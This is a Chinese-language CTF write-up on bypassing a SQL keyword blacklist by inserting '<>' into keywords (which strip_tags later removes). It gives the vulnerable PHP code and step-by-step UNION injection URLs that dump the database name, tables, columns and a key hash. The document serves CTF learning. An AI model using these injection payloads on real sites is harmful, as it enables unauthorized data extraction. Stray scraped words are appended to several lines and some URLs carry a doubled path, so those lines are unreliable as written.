一次簡單的ctf SQL注入繞過

注入地址:http://103.238.227.13:10087/index.php?id=1php

//過濾sql
$array = array('table','union','and','or','load_file','create','delete','select','update','sleep','alter','drop','truncate','from','max','min','order','limit');
foreach ($array as $value)
{
	if (substr_count($id, $value) > 0)
	{
		exit('包含敏感關鍵字!'.$value);
	}
}

//xss過濾
$id = strip_tags($id);

$query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";

可見該過濾的都過濾了的。通常的繞過還真沒辦法。可是爲防止XSS把<>之類的給過濾了。那麼就有那麼一個姿式sel<>ect如此即可以繞過。sql


 

爆數據庫數據庫

http://103.238.227.13:10087/index.php?id=-1/index.php?id=-1 unio<>n sele<>ct 1,database()#xss

爆表spa

http://103.238.227.13:10087/index.php?id=-1/index.php?id=-1+unio<>n+sele<>ct+1,concat(group_concat(distinct+tab<>le_name))+fro<>m+info<>rmation_schema.ta<>bles+where+ta<>ble_schema=0x73716C33--#blog

爆列ip

http://103.238.227.13:10087/index.php?id=-1+uni<>on+sele<>ct+concat(group_concat(distinct+col<>umn_name)),2+f<>rom+info<>rmation_sc<>hema.colu<>m<>ns+where+tab<>le_schema=0x73716C33#+hash

爆內容it

http://103.238.227.13:10087/index.php?id=-1 unio<>n sele<>ct 1,hash fro<>m sql3.key#io


重點是最後的sql3.key有個坑。按照日常是直接:

http://103.238.227.13:10087/index.php?id=-1 unio<>n sele<>ct 1,hash fro<>m key#

可是這樣是不行的。

緣由其實挺簡單的這裏是CTF的套路。這不知道還真覺得是什麼。

 

如上圖所示,其實他自己的SQL語句相似:select * from sql3.key where id = 1

他前面使用的是sql3.key也就是說他並無use因此你直接select * from sql3.key where id =1 union select 1,2 from key是不行的。由於他沒有使用sql3這個數據庫(可是執行union select 1,database()的時候仍是能夠顯示sql3這個數據庫出來的)因此key根本不存在。天然也就不行!感謝米哥指導。太機智了。真心佩服出題人。真想對他說。老子真的服了U

相關文章
相關標籤/搜索